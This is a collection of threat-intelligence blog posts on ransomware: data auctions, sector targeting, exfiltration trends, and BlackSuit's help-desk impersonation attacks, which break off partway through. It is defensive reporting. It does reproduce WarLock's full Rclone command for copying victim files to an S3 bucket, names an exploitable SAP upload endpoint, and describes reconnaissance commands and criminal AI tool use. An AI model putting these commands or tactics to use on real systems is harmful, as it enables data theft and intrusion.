Tag Archives: ransomware

From Extortion to E-commerce: How Ransomware Groups Turn Breaches into Bidding Wars

Post Syndicated from Alexandra Blia original https://www.rapid7.com/blog/post/tr-extortion-ecommerce-ransomware-groups-turn-breaches-into-bidding-wars-research

Ransomware has evolved from simple digital extortion into a structured, profit-driven criminal enterprise. Over time, it has led to the development of a complex ecosystem where stolen data is not only leveraged for ransom, but also sold to the highest bidder. This trend first gained traction in 2020 when the Pinchy Spider group, better known as REvil, pioneered the practice of hosting data auctions on the dark web, opening a new chapter in the commercialization of cybercrime.

In 2025, contemporary groups such as WarLock and Rhysida have embraced similar tactics, further normalizing data auctions as part of their extortion strategies. By opening additional profit streams and attracting more participants, these actors are amplifying both the frequency and impact of ransomware operations. The rise of data auctions reflects a maturing underground economy, one that mirrors legitimate market behavior, yet drives the continued expansion and professionalization of global ransomware activity.

Anatomy of victim data auctions 

Most modern ransomware groups employ double extortion tactics, exfiltrating data from a victim’s network before deploying encryption. Afterward, they publicly claim responsibility for the attack and threaten to release the stolen data unless their ransom demand is met. This dual-pressure technique significantly increases the likelihood of payment.

In recent years, data-only extortion campaigns, in which actors forgo encryption altogether, have risen sharply. In fact, such incidents doubled in 2025, highlighting how the threat of data exposure alone has become an effective extortion lever. Most ransomware operations, however, continue to use encryption as part of their attack chain.

Certain ransomware groups have advanced this strategy by introducing data auctions when ransom negotiations with victims fail. In these cases, threat actors invite potential buyers, such as competitors or other interested parties, to bid on the stolen data, often claiming it will be sold exclusively to a single purchaser. In some instances, groups have been observed selling partial datasets, likely adjusted to a buyer’s specific budget or area of interest, while any unsold data is typically published on dark web leak sites.

This process is illustrated in Figure 1, under the assumption that the threat actor adheres to their stated claims. However, in practice, there is no guarantee that the stolen data will remain undisclosed, even if the ransom is paid. This highlights the inherent unreliability of negotiating with cybercriminals.

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Figure 1 – Victim data auctioning process

This auction model provides an additional revenue stream, enabling ransomware groups to profit from exfiltrated data even when victims refuse to pay. It should be noted, however, that such auctions are often reserved for high-profile incidents. In these cases, the threat actors exploit the publicity surrounding attacks on prominent organizations to draw attention, attract potential buyers, and justify higher starting bids.

This trend is likely driven by the fragmentation of the ransomware ecosystem following the recent disruption of prominent threat actors, including 8Base and BlackSuit. This shift in cybercrime dynamics is compelling smaller, more agile groups to aggressively compete for visibility and profit through auctions and private sales to maintain financial viability. The emergence of the Crimson Collective in October 2025 exemplified this dynamic when the group auctioned stolen datasets to the highest bidder. Although short-lived, this incident served as a proof of concept (PoC) for the growing viability of monetizing data exfiltration independently of traditional ransom schemes.

Threat actor spotlight

WarLock

The WarLock ransomware group has been active since at least June 2025. The group targets organizations across North America, Europe, Asia, and Africa, spanning sectors from technology to critical infrastructure. Since its emergence, WarLock has rapidly gained prominence for its repeated exploitation of vulnerable Microsoft SharePoint servers, leveraging newly disclosed vulnerabilities to gain initial access to targeted systems.

The group adopts double extortion tactics, exfiltrating data from the victim’s systems before deploying its ransomware variant. From a recent incident Rapid7 responded to, we observed the threat actor exfiltrating the data from a victim to an S3 bucket using the tool Rclone. An anonymized version of the command used by the threat actor can be found below:

Rclone.exe copy \\localdirectory :s3 -P –include “*.{pdf,ai,dwg,dxf,dwt,doc,docx,dwg,dwt,dws,shx,pat,lin,ctb,dxf,dwf,step,stl,dst,dxb,,stp,ipt,prt,iges,obj,xlsx,mdf,sql,doc,xls,sql,bak,sqlite,db,sqlite3,sdf,ndf,ldf,csv,mdf,dbf,ibd,myd,ppt,pptx}” -q –ignore-existing –auto-confirm –multi-thread-streams 11 –transfers 11 –max-age 500d –max-size 2000m

WarLock operates a dedicated leak site (DLS) on the dark web, where it lists its victims. From the outset of its operations, the group has auctioned stolen data, publishing only the unsold information online (Figure 2). The group further mentions that the exfiltrated data may be sold to third parties if the victim refuses to pay in their ransom note (Figure 3).

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Figure 2 – Example of purchased data

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Figure 3 – WarLock ransom note

Although WarLock shares updates on the progress and results of these auctions through its DLS, it also relies heavily on its presence on the RAMP4 cybercrime forum to attract potential buyers (Figure 4). This approach likely allows WarLock to reach a wider buyer base by publishing these posts under the relevant thread “Auction \ 拍卖会”. It should be noted that WarLock is assessed to be of Chinese origin, which is further supported by the Chinese-language reference in this thread title.

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Figure 4 – Mention of an auction on WarLock’s DLS

Using the alias “cnkjasdfgd,” the group advertises details about the nature and volume of exfiltrated data, along with sample files (Figure 5). WarLock further directs interested buyers to its Tox account, a peer-to-peer encrypted messaging and video-calling platform, where the auctions appear to take place.

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Figure 5 – WarLock’s post on RAMP4

This approach appears to be highly effective for WarLock. Despite being a recent entrant to the ransomware ecosystem, the group has reportedly sold victim data in approximately 55% of its claimed attacks, accounting for 55 victims to date as of November 2025, demonstrating significant traction within underground markets. The remaining victims’ data has been publicly released on the group’s DLS, following unsuccessful ransom negotiations and a lack of interested buyers.

Rhysida

The Rhysida ransomware group was first identified by cybersecurity researchers in May 2023. The group primarily targets Windows operating systems across both public and private organizations in sectors such as government, defense, education, and manufacturing. Its operations have been observed in several countries, including the United Kingdom, Switzerland, Australia, and Chile. The threat actors portray themselves as a so-called “cybersecurity team” that assists organizations in securing their networks by exposing system vulnerabilities.

Rhysida maintains an active DLS, where it publishes data belonging to victims who refuse to pay the ransom, in alignment with double extortion tactics. Since at least June 2023, the group has also conducted data auctions via a dedicated “Auctions Online” section of its DLS. These auctions typically run for seven days, and Rhysida claims that each dataset is sold exclusively to a single buyer. As of mid-October 2025, the group was hosting five ongoing auctions, with starting prices ranging from 5 to 10 Bitcoin (Figure 6).

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Figure 6 – Example of an auction on Rhysida’s DLS

Once the auction period ends, Rhysida publicly releases any unsold data on its DLS (Figure 7). Instead, if the auction is successful, the data is marked as “sold”, without being released on the group’s DLS (Figure 8). In many cases, the group publishes only a subset of the stolen data, often accompanied by the note “not sold data was published” (Figure 9).

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Figure 7 – Example of full data release on Rhysida’s DLS

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Figure 8 – Example of sold data on Rhysida’s DLS

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Figure 9 – Example of partial data release on Rhysida’s DLS

With 224 claimed attacks to date as of November 2025, approximately 67% resulting in full or partial data sales, auctions represent a significant additional revenue stream for Rhysida. The group’s auction model appears to be considerably more effective than WarLock’s (Figure 10), likely due to Rhysida’s established reputation within the cybercrime ecosystem and its involvement in several high-profile attacks.

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Figure 10 – Overview of auction outcomes

Conclusion

The cyber extortion ecosystem is undergoing a profound transformation, shifting from traditional ransom payments to a diversified, market-driven model centered on data auctions and direct sales. This evolution marks a turning point in how ransomware groups generate revenue, transforming what were once isolated extortion incidents into structured commercial transactions.

Groups such as WarLock and Rhysida exemplify this shift, illustrating how ransomware operations increasingly mirror illicit e-commerce ecosystems. By auctioning exfiltrated data, these actors not only create additional revenue streams but also reduce their dependence on ransom compliance, monetizing stolen data even when victims refuse to pay. This approach has proven particularly lucrative for these threat actors, likely setting a precedent for newer extortion groups eager to replicate their success.

As a result, proprietary and sensitive data, including personally identifiable and financial information, is flooding dark web marketplaces at an unprecedented pace. This expanding secondary market intensifies both the operational and reputational risks faced by affected organizations, extending the impact of an attack well beyond its initial compromise.

To adapt to this evolving threat landscape, organizations must move beyond reactive crisis management and embrace a proactive, intelligence-driven defense strategy. Continuous dark web monitoring, early breach detection, and the integration of cyber threat intelligence into response workflows are now essential. In a world where stolen data functions as a tradable commodity, resilience depends not on negotiation but on vigilance, preparedness, and rapid action.

The State of Security Today: Setting the Stage for 2026

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/it-security-today-setting-stage-for-2026-predictions-webinar

As we close out 2025, one thing is clear: the security landscape is evolving faster than most organizations can keep up. From surging ransomware campaigns and AI-enhanced phishing to data extortion, geopolitical fallout, and gaps in cyber readiness, the challenges facing security teams today are as varied as they are relentless. But with complexity comes clarity and insight.

This year’s most significant breaches, breakthroughs, and behavioral shifts provide a critical lens through which we can view what’s next. That’s exactly what we’ll explore in our upcoming Security Predictions for 2026 webinar, where Rapid7’s experts will break down where we are now, what to expect next, and how organizations can proactively adapt.

Before we look ahead, let’s take stock of what defined 2025 and what it tells us about the state of cybersecurity today.

Ransomware: Same playbook, more precision

Ransomware remains one of the most consistent and costly threats facing organisations today, but the approach has shifted. According to Rapid7’s Q3 2025 Threat Landscape Report, data extortion continues to dominate, with groups increasingly focused on exfiltration and disruption rather than encryption alone. Over 80% of ransomware cases handled in Q3 involved data theft, often staged and timed to maximise leverage.

Threat actors like RansomHub, BlackSuit, NoEscape, and Scattered Spider continue to refine their operations. Many campaigns are multi-stage and collaborative, with Initial Access Brokers providing footholds that are later sold to ransomware operators. One common thread is a focus on identity and infrastructure abuse – attackers are compromising vSphere environments, exploiting misconfigurations in third-party platforms, and abusing legitimate remote access tools to move laterally before launching extortion phases.

These incidents increasingly target complex organizations with sprawling digital footprints. The result? Weeks of operational downtime, lost revenue, regulatory scrutiny, and enduring brand damage. In this landscape, ransomware is no longer just a malware problem – it’s a business continuity issue, a supply chain risk, and a board-level concern.

The offense is automated: AI goes to work

This year, we saw AI break through hype and land firmly in attackers’ toolkits. Tools like WormGPT, FraudGPT, and DarkBERT gave cybercriminals an entry point to generate convincing phishing emails, polymorphic malware, and credential-harvesting scripts, all without needing advanced coding skills.

In our AI Offense blog, we detailed how these tools lower the barrier to entry and amplify the volume and sophistication of social engineering campaigns. Pair that with deepfakes, cloned voices, and LLM-powered targeting, and security teams now face threats that are faster, cheaper, and harder to detect than ever before.

The takeaway? AI is not a future threat. It is here. And defenders must embrace its potential just as aggressively as attackers have.

The human factor: Still the weakest link

Despite improved tooling, attacker playbooks still rely heavily on people. Our recent exploration of evolving social engineering trends highlighted the rise of Microsoft Teams-based impersonation, remote access tool abuse such as Quick Assist, and multi-stage credential compromise.

The fallout has been widespread. From attacks on major UK retailers to multiple airline disruptions and critical public sector breaches, social engineering is no longer just email phishing. It is phone calls, voice cloning, fake calendars, and chat-based manipulation.

Training helps. But attackers are innovating faster than awareness campaigns can keep up. Security teams need to simulate these threats internally and invest in visibility across identity platforms, because credentials remain the crown jewels.

From awareness to action: Resilience as a mandate

A growing number of incidents in 2025 underscored the readiness gap in many organizations. Our recent blog on preparedness broke down the UK’s National Cyber Security Centre guidance urging companies to revisit their offline contingency planning, including printed IR protocols and analog communications in case digital systems are taken offline.

This call followed a sharp rise in high-impact events, with over 200 nationally significant cyber incidents recorded in the UK alone this year.

The lesson? Cyber resilience is not a nice to have. It is foundational. Detection, backup, and patching are essential, but so is building response plans that assume failure, simulate outages, and bring the entire business to the table.

Join us: Predicting what’s next in 2026

We’ll explore these trends and where they’re heading in much greater depth in our Security Predictions for 2026 webinar, taking place on December 10.

Rapid7’s experts will unpack:

  • Which attacker tactics are here to stay and which are on the rise

  • Where AI, regulation, and infrastructure gaps are creating new exposures

  • How defenders can better prioritise risk and operate in resource-constrained environments

  • What CISOs, SOC leaders, and engineers need to align on in 2026 to stay ahead

This is our biggest global webinar of the year, and it is designed to help security professionals at every level get proactive and stay ahead of what’s next.

Register now and join thousands of security professionals from around the world as we set the stage for 2026. Because when the threat landscape keeps shifting, your best defense is a head start.

Threat Landscape of the Building and Construction Sector Part Two: Ransomware

Post Syndicated from Jeremy Makowski original https://www.rapid7.com/blog/post/tr-building-construction-sector-threat-landscape-ransomware

In this second installment of our two-part series on the construction industry, Rapid7 is looking at the specific threat ransomware poses, why the industry is particularly vulnerable, and ways in which threat actors exploit its weaknesses to great effect. You can catch up on the first part here: Initial Access, Supply Chain, and the Internet of Things.

Ransomware and the construction industry 

The construction sector is increasingly vulnerable to ransomware attacks in 2025 due to its complex ecosystem and distinctive operational challenges. Construction projects typically involve a web of contractors, subcontractors, suppliers, and consultants, collaborating through shared digital platforms and exchanging sensitive documents such as blueprints, contracts, and timelines. 

While essential for project delivery, this interconnectedness creates numerous digital entry points that attackers can exploit, mainly as many firms rely on outdated software and insufficient cybersecurity protocols. Adding to the challenge, construction companies often operate under tight deadlines and financial constraints, leaving little room for prolonged IT outages or data recovery efforts. 

Ransomware attackers take advantage of this urgency, knowing that even short disruptions can halt entire job sites, delay multimillion-dollar projects, and damage reputations, making companies more likely to pay ransoms quickly.

Compounding the problem, many construction organizations lack dedicated cybersecurity staff and robust employee training, making them susceptible to phishing, weak passwords, and other basic attack vectors, as we talked about in part one of this series. The sector’s dependency on third-party vendors, who may have weaker security, amplifies the risk by widening the potential attack surface. 

Together, these factors make it difficult for construction firms to detect, prevent, and recover from ransomware incidents, leaving the industry facing financial losses, operational chaos, legal consequences, and growing pressure to modernize its approach to digital security.

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Monthly comparison of ransomware attacks against the construction industry 2024 vs. 2025

The construction industry is ranked among the top 3 most attacked sectors in 2025.

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Top 10 targeted sectors in 2025

The majority of attacks are against companies in the United States, followed by Canada, the United Kingdom, and Germany. 

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Top 10 targeted countries in the construction industry in 2025

In 2025, the ransomware groups that targeted construction companies most frequently were Play, Akira, Qilin (AKA Agenda), SafePay, RansomHub, Lynx, DragonForce, Medusa, WorldLeaks, and INC Ransom. Notably, RansomHub is no longer active in its original form.    

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Top ransomware groups targeting the construction industry in 2025

Why the construction sector is attractive to ransomware groups

The reasons why ransomware groups have zeroed in on this sector are diverse and include the following:

High-value, time-sensitive projects

Construction projects are high-stakes endeavors, often involving multi-million (or even billion) dollar budgets and strict delivery deadlines. Even a brief disruption, whether caused by ransomware, data breaches, or system outages, can lead to costly project delays and penalties. Attackers know this, and they exploit the sector’s reliance on tight timelines to extort higher ransoms, banking on the urgency to restore operations.

Complex, interconnected supply chains

Few industries are as dependent on an intricate web of subcontractors, vendors, and service providers. Each connection in this sprawling supply chain presents a potential vulnerability. A compromised partner can serve as a gateway for attackers, enabling threats like supply chain attacks and lateral movement across multiple organizations. Securing every link is a significant challenge, especially when third-party cybersecurity practices vary widely.

Low cybersecurity maturity

While sectors like finance and healthcare have long invested in cybersecurity, many construction firms are only beginning their journey. Legacy systems, limited IT budgets, and a traditional focus on physical rather than digital risks have left gaps in defenses. As a result, attackers often find weaker security controls, outdated software, and unpatched systems, making this sector a prime target.

Accelerated digitalization and IoT adoption

Adopting cloud platforms, Building Information Modeling (BIM), IoT sensors, and smart machinery is revolutionizing project management and delivery. However, each new digital innovation adds to the attack surface. IoT devices, in particular, often lack robust security controls, providing attackers with novel entry points that are difficult to monitor and defend.

Exposure of sensitive intellectual property

Construction firms handle more than just blueprints. Proprietary architectural designs, bid documents, financial plans, and sensitive client data are all highly valuable and highly sought after by cybercriminals. The theft or exposure of this information can have devastating consequences, from reputational damage and loss of competitive advantage to implications for critical infrastructure and national security.

Commonly exploited vulnerabilities

Commonly exploited vulnerabilities by the above-mentioned ransomware groups include:

  • CVE-2025-31324 – The SAP NetWeaver Visual Composer file upload flaw. It enables unauthenticated threat actors to send specially crafted POST requests to the /developmentserver/metadatauploader endpoint, leading to unrestricted malicious file upload and full system compromise.

  • CVE-2024-21887 – The Ivanti Connect Secure and Policy Secure command injection flaw enables authenticated administrators to execute arbitrary commands on the appliances by sending specially crafted requests.

  • CVE-2024-21762 is a Fortinet FortiOS out-of-bounds write flaw that allows threat actors to gain super-admin privileges, bypassing the authentication mechanism, leading to remote code execution (RCE).

  • CVE-2024-55591 – The Fortinet FortiOS and FortiProxy authentication bypass flaw enables threat actors to remotely gain super-admin privileges by making malicious requests to the Node.js websocket module. Attackers were observed leveraging the flaw to create randomly generated admin or local users and add them to existing SSL VPN user groups or newly created ones. In addition, they add or modify firewall policies and other settings and log into the SSL VPN using these rogue accounts to allow network tunneling.

  • CVE-2024-40711 – The Veeam Backup and Replication deserialization flaw allows unauthenticated threat actors to initiate RCE.

  • CVE-2024-40766 – The SonicWall SonicOS and SSLVPN improper access control flaw. It enables unauthorized threat actors to access resources and, under certain conditions, cause firewall crashes.   

What to do next

In 2025, the construction industry faces unprecedented digital opportunities and rising cyber risk. IoT, BIM, and cloud platforms have boosted efficiency but expanded attack surfaces, making firms vulnerable to ransomware, supply chain breaches, and IP theft. These risks, driven by fragmented supply chains, legacy systems, human error, and insecure devices, are systemic, not isolated. Cybersecurity must now be treated as a core pillar of project management, equal to safety, cost, and schedule, requiring board-level commitment and industry-wide collaboration.

To build resilience, firms should modernize legacy systems, secure supply chains, protect connected devices, and train all staff in cyber defense. Proactive measures like risk assessments, secure-by-design technologies, unified frameworks, and incident response playbooks must replace piecemeal defenses. By embedding security into daily operations and culture, the industry can turn cyber resilience into a competitive advantage, ensuring that innovation and protection move together to secure construction’s future.

Attackers accelerate, adapt, and automate: Rapid7’s Q3 2025 Threat Landscape Report

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/tr-rapid7-q3-2025-threat-landscape-report

The Q3 2025 Threat Landscape Report, authored by the Rapid7 Labs team, paints a clear picture of an environment where attackers are moving faster, working smarter, and using artificial intelligence to stay ahead of defenders. The findings reveal a threat landscape defined by speed, coordination, and innovation.

The quarter showed how quickly exploitation now follows disclosure: Rapid7 observed newly reported vulnerabilities weaponized within days, if not hours, leaving organizations little time to patch before attackers struck. Critical business platforms and third-party integrations were frequent targets, as adversaries sought direct paths to disruption. Ransomware remained a most visible threat, but the nature of these operations continued to evolve.

Groups such as Qilin, Akira, and INC Ransom drove much of the activity, while others went quiet, rebranded, or merged into larger collectives. The overall number of active groups increased compared to the previous quarter, signaling renewed energy across the ransomware economy. Business services, manufacturing, and healthcare organizations were the most affected, with the majority of incidents occurring in North America.

Many newer actors opted for stealth, limiting public exposure by leaking fewer victim details, opting for “information-lite” screenshots in an effort to thwart law enforcement. Some established groups built alliances and shared infrastructure to expand reach such as Qilin extending its influence through partnerships with DragonForce and LockBit. Meanwhile, SafePay gained ground by running a fully in-house, hands-on model avoiding inter-party duelling and law enforcement. These trends show how ransomware has matured into a complex, service-based ecosystem.

Nation-state operations in Q3 favored persistence and stealth over disruption. Russian, Chinese, Iranian, and North Korean-linked groups maintained long-running campaigns. Many targeted identity systems, telecom networks, and supply chains. Rapid7’s telemetry showed these actors shrinking the window between disclosure and exploitation and relying on legitimate synchronization processes to remain hidden for months. The result: attacks that are harder to spot and even harder to contain.

Threat actors are fully operationalizing AI to enhance deception, automate intrusions, and evade detection. Generative tools now power realistic phishing, deepfake vishing, influence operations, and adaptive malware like LAMEHUG. This means the theoretical risk of AI has been fully operationalized. Defenders must now assume attackers are using these tools and techniques against them and not just supposing they are. 

This is but a taste of the valuable threat information the report has to offer. In addition to deeper dives on the subjects above, the threat report includes analysis of some of the most common compromise vectors, new vulnerabilities and existing ones still favored by attackers, and, of course, our recommendations to safeguard against compromises across your entire attack surface. 

Want to learn more? Click here to download the report

AI & Ransomware: Inside the Exfiltration Playbook

Post Syndicated from Stephanie Doyle original https://www.backblaze.com/blog/ai-ransomware-inside-the-exfiltration-playbook/

A decorative image show icons related to security and ransomware.

Ransomware used to mean locked files and paralyzed systems. But today, bad actors are just as focused on exfiltration—the silent theft of sensitive data—and using that data as leverage for extortion.

According to cybersecurity firm BlackFog, 94% of successful cyberattacks in 2024 involved data exfiltration, either alongside or instead of encryption. Whether it’s stolen patient records, credentials, or source code, the goal is simple: Extract something valuable and threaten to leak it if demands aren’t met.

In this article, we examine how exfiltration became a leading tactic, the trends driving its rise, and what organizations—and cloud storage providers—can do to defend against it.

What is exfiltration?

In cybersecurity, exfiltration refers to the unauthorized transfer of data from a system—often done stealthily, and almost always with malicious intent. Think of it as the digital equivalent of corporate espionage: Data is copied, compressed, and quietly smuggled out. Unlike ransomware encryption, which slams the door in your face, exfiltration leaves the front door looking untouched.

The data being exfiltrated is rarely random. Cybercriminals are increasingly strategic about what they take and why. Common targets include:

  • User credentials
  • Personally identifiable information (PII)
  • Intellectual property and source code
  • Encryption keys
  • Shadow copies or backup snapshots

Tactics include exploiting cloud storage misconfigurations, hijacking legitimate credentials, or disguising traffic as everyday protocols like DNS or HTTPS. Increasingly, data exfiltration happens before the main event—laying the groundwork for extortion, credential stuffing, or resale on underground markets.

Recent cybersecurity trends related to exfiltration

Exfiltration has become the defining feature of modern cyberattacks, and the evidence is growing:

  • Double extortion is now standard. Threat actors exfiltrate data first, then deploy ransomware—or skip the encryption altogether—to maximize leverage. According to the 2023 Unit 42 Report, 70% of ransomware incidents involved data theft.
  • Infostealers, malicious programs designed to covertly harvest sensitive information, are on the rise. Over 2.1 billion credentials were stolen in 2024 alone, with malware like RedLine and Lumma making theft accessible to low-skilled attackers. While cybersecurity task forces (comprised of both government and enterprise actors) have made the news with high-profile disruptions of Lumma and other tools, the ability to use generative AI coding tools has meant that cyber attackers have a shortened time to deployment for malware tools.
  • Time to exfiltration is shrinking. Fortinet’s 2025 Threat Landscape Report notes that attackers can extract data in under five hours, while defenders often take days to respond.
  • Encrypted traffic masks malicious behavior. Emerging exfiltration techniques like QUIC-Exfil use modern, encrypted protocols to evade detection by traditional firewalls.
  • State-sponsored actors prioritize stealth. Nation-state groups like Volt Typhoon have used long-term access to exfiltrate sensitive data undetected for months.

Together, these trends point to a world where stolen data is the main prize—and the threat doesn’t start when the ransom note arrives. It starts when your data quietly leaves the building.

Cloud misconfiguration and its role in exfiltration attacks

Exfiltration doesn’t always require malware—sometimes it only takes a misconfigured storage bucket or firewall rule. Cloud misconfigurations remain a leading cause of breaches, with public buckets, excessive identity and access management (IAM) privileges, and overly permissive network rules exposing data to the open internet.

Attackers exploit these gaps to quietly access or extract data without triggering alerts. A strong cloud posture management strategy—one that includes audit automation, implementing the principle of least privilege, and configuring features like Object Lock or Bucket Access Logs—is critical to reducing exposure.

Defending against exfiltration is a shared responsibility

As exfiltration becomes a primary threat, defense requires collaboration between cloud storage providers and their customers. Here’s how the most effective strategies work together.

Immutable backups and Object Lock

One of the strongest defenses is immutability. Backblaze B2’s Object Lock, for example, allows files to be written once and protected from modification, deletion, or encryption for a set period. Even if attackers compromise credentials, the data cannot be altered or removed.

Visibility and outlier detection

Cloud providers are investing in making advanced logging and behavioral analytics available to users to detect data theft in real time. Some examples of these types of features include:

  • Granular access logging with IP and user-level metadata.
  • Rate limiting and download caps to prevent mass theft.
  • Outlier detection powered by machine learning to catch subtle deviations from baseline activity.

Best practices for customers

Storage-layer defenses work best when paired with customer-side security controls:

  • Adopt zero trust architecture: Never assume implicit trust. Continuously validate users, devices, and behaviors.
  • Use MFA and least-privilege access: Lock down credentials, rotate them regularly, and minimize exposure.
  • Encrypt data at rest and in transit: Use strong encryption standards (AES-256, TLS 1.2+) and managed key systems.
  • Monitor for exfiltration indicators: Watch for abnormal traffic volumes, geographic anomalies, and unexpected protocol usage.
  • Run simulated breach drills: Test your team’s ability to detect and respond to stealthy data leaks.

Cloud storage companies can help provide critical security layers, but stopping exfiltration is ultimately a shared responsibility. Combining provider-level resilience with customer vigilance is the best path forward.

In a world of silent theft, vigilance is your best defense

Exfiltration isn’t just an add-on to ransomware. In this environment, locking the doors isn’t enough—You need to monitor the exits.

By combining immutable backups, smart logging, credential controls, and proactive monitoring, organizations can shift from passive victims to active defenders. The best defenses today aren’t just about blocking access; they’re about knowing what’s leaving and making sure it can’t be used against you.

The post AI & Ransomware: Inside the Exfiltration Playbook appeared first on Backblaze Blog | Cloud Storage & Cloud Backup

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict

Post Syndicated from Tyler McGraw original https://blog.rapid7.com/2025/06/10/blacksuit-continues-social-engineering-attacks-in-wake-of-black-bastas-internal-conflict/

Executive Summary

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict

There has been a significant decrease in social engineering attacks linked to the Black Basta ransomware group since late December 2024. This lapse also included the leaked Black Basta chat logs in February 2025, indicating internal conflict within the group. Despite this, Rapid7 has observed sustained social engineering attacks. Evidence now suggests that BlackSuit affiliates have either adopted Black Basta’s strategy or absorbed members of the group. The developer(s) of a previously identified Java malware family, distributed during social engineering attacks, have now been assessed as likely initial access brokers, having potentially provided historical access for Black Basta and/or FIN7 affiliates.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 1. Confirmed malicious chat requests, Feb 12 through May 7, as observed by Rapid7.

Overview

The first stage of the attack remains the same. The operator will flood targeted users with a high volume of emails, to the order of thousands per hour. This is often accomplished by signing the target user’s email up to many different publicly available mailing lists at once, effectively creating a denial of service attack when each service sends a welcome email. This technique is commonly known as an email bomb.

Following the email bomb, the strategy then splits between operators, though they all ultimately reach out to impacted users pretending to be a member of the targeted organization’s help desk. The majority of operators still perform this step via Microsoft Teams using either a default Azure/Entra tenant (i.e., email account ends with onmicrosoft[.]com) or their own custom domain. In rare cases however, operators, particularly those affiliated with BlackSuit, may forgo Microsoft Teams in favor of calling the targeted users directly with a spoofed number. This strategy, if successful, allows them to circumvent the cloud logging that would be recorded otherwise. For the first time, an explanation of the process written by Black Basta’s leader is also available for a summary of the process, in the context of explaining the attack to a new affiliate:

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 2. Black Basta’s leader explains the social engineering attack. Additional chat logs with translations are available at the Rapid7 GitHub repository.

If the affiliate is able to gain the user’s confidence, they will still primarily attempt to gain access to the user’s asset — and thereby the corporate network — via Quick Assist. Quick Assist is a built-in Windows utility that allows a user to easily grant remote access to their computer to a third party. The utility has been widely abused for social engineering attacks, a trend which continues. BlackSuit affiliates in particular may also direct the user to a malicious domain that hosts a fake Quick Assist login page, for the purpose of harvesting their credentials.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 3. Fake Quick Assist login page, functions as a credential harvester.

In cases where the affiliate is unable to get Quick Assist to work, they will still cycle through a variety of other popular remote access tools (e.g., AnyDesk, ScreenConnect), and if that still doesn’t work, they may simply hang up on the user and move on to the next target.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 4. One of Black Basta’s operators discusses their strategy regarding remote access tools.

Black Basta had at least one caller template/script for this purpose:

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 5. A call script used by Black Basta’s operators. The full script is available at the Rapid7 GitHub repository.

Quickly obtaining reliable access to the target network is still the top priority in the early stages of the attack, typically facilitated by stealing the targeted user’s credentials. In the past this has been achieved, for example, via a QR code sent to the target user via Microsoft Teams or the download and execution of malware which creates a fake Windows authentication prompt.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 6. One of Black Basta’s operators discusses the usage of QR codes for credential harvesting.

In some cases the operator who makes the initial call may also coerce the target user to provide an MFA code while still on the phone. Historically, operators will also attempt to steal VPN configuration files once remote access is established, which can allow them to authenticate directly to the network if the compromised user account is not remediated.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 7. One of Black Basta’s operators discusses using stolen credentials to authenticate directly to the VPN for the targeted environment.

After the affiliate has successfully gained access they will typically transfer and execute malware on the compromised system. The specific malware differs per operator and typically marks the stage in which the access is passed from the caller to an operator within the group who specializes in what they refer to as “pentesting.” To facilitate the access, the operator who calls typically coordinates with the “pentester” to increase the chances of success. At this point in the attack the affiliate who called the user has already hung up under the guise of having fixed the spam problem, and the “pentester” then begins to enumerate the environment. Rapid7 has observed AS-REP and Kerberoasting attacks to be commonly attempted along with Active Directory Certificate Services (ADCS) abuse and other types of brute force password attacks.

Technical Analysis

After initial access has been achieved, the follow-on malware payloads that are downloaded to the compromised system and executed differ, per operator.

Java RAT

A large volume of social engineering incidents handled by Rapid7 have resulted in a Java RAT being downloaded and executed. This tactic was first observed by Rapid7 during October of 2024, and initially reported on in December 2024 in relation to the payload identity.jar. The first samples of the Java RAT observed by Rapid7 only utilized Microsoft OneDrive with optional proxy servers (e.g., SOCKS5) for a more direct C2 connection. The configuration was left in plain text, and did not contain any functionality to dynamically update or encrypt the configuration, primarily functioning only as a RAT via PowerShell session commands.

In the past 6+ months, development of the Java malware payload has continued to add/change numerous features. The Java malware now abuses cloud-based file hosting services provided by both Google and Microsoft to proxy commands through the respective cloud service provider’s (CSP) servers. Over time, the malware developer has shifted away from direct proxy connections (i.e., the config option is left blank or not present), towards OneDrive and Google Sheets, and most recently, towards simply using Google Drive. The logic of the RAT is obfuscated using various types of junk code, control flow obfuscation, and string obfuscation in an attempt to impede analysis.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 8. Obfuscated logic within the Java RAT, where three simple statements become dozens of lines and indentations.

The Java RAT and other payloads are distributed within an archive, the link for which is most often sent to the target user via a pastebin[.]com link. In cases as recent as May of 2025, Rapid7 has observed that the archives are still being publicly hosted on potentially compromised SharePoint instances. The archive and the payloads within are named to fit the initial social engineering lure. For example, in a recent incident, the archive was named Email-Focus-Tool.zip, likely to help prevent suspicion by the targeted user during the attack. The archive contains a .jar file (the Java RAT), a copy of required JDK dependencies contained within a child folder, and at least one .lnk file intended to make the malware easy to execute.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 9. The contents of an archive delivered by the threat actor and a `log.txt` file containing enumeration command output.

The archive is most often extracted to the staging directory C:\ProgramData\ prior to execution. In at least one case, Rapid7 has also observed the operator who initiated the attack outputting system enumeration data to a plaintext file in the same directory, a technique commonly used in the past by Black Basta. Historically, this is information that they share during the initial stages of the attack to assess the network and the type of defenses they may have to deal with. For example, shown above, the operator who initially accessed the compromised asset spawned a command prompt and redirected the output of the ipconfig /all and tasklist commands to the file log.txt.

Most recent versions of the Java RAT have the capability to use Google Sheets to dynamically update the stored C2 configuration, which includes a Google spreadsheet ID (SSID), proxy server IPv4 addresses, application credentials (OneDrive), and/or service account credentials (Google Drive). At least one of the Google Spreadsheets used in this way was observed by Rapid7 to have been taken down by Google, which highlights the potential unreliability of using certain cloud services as a malware traffic proxy.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 10. A Google spreadsheet used by the malware for dynamic configuration updates was taken down by Google.

